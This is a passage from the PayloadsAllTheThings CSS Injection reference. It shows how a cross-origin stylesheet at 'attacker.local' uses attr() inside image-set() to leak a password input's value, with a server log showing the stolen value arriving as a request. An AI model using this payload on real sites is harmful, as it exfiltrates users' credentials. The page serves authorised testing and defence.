Skip to content

CSS Injection · passage 8 of 9

Attribute Extraction via attr()

3 code blocks · CSS Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

The CSS `attr()` function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see [Advanced attr()](https://developer.chrome.com/blog/advanced-attr)), this function can be used to extract input's value. Target HTML:

<html>
    <head>
        <link rel="stylesheet" href="http://attacker.local/index.css">
    </head>
    <body>
        <input type="text" name="password" value="supersecret">
    </body>
</html>

`index.css` (hosted by attacker):

input[name="password"] {
  background: image-set(attr(value))
}

When `image-set()` is used with `attr()`, the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin. Resulting request on attacker's server:

10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -

Source: CSS Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.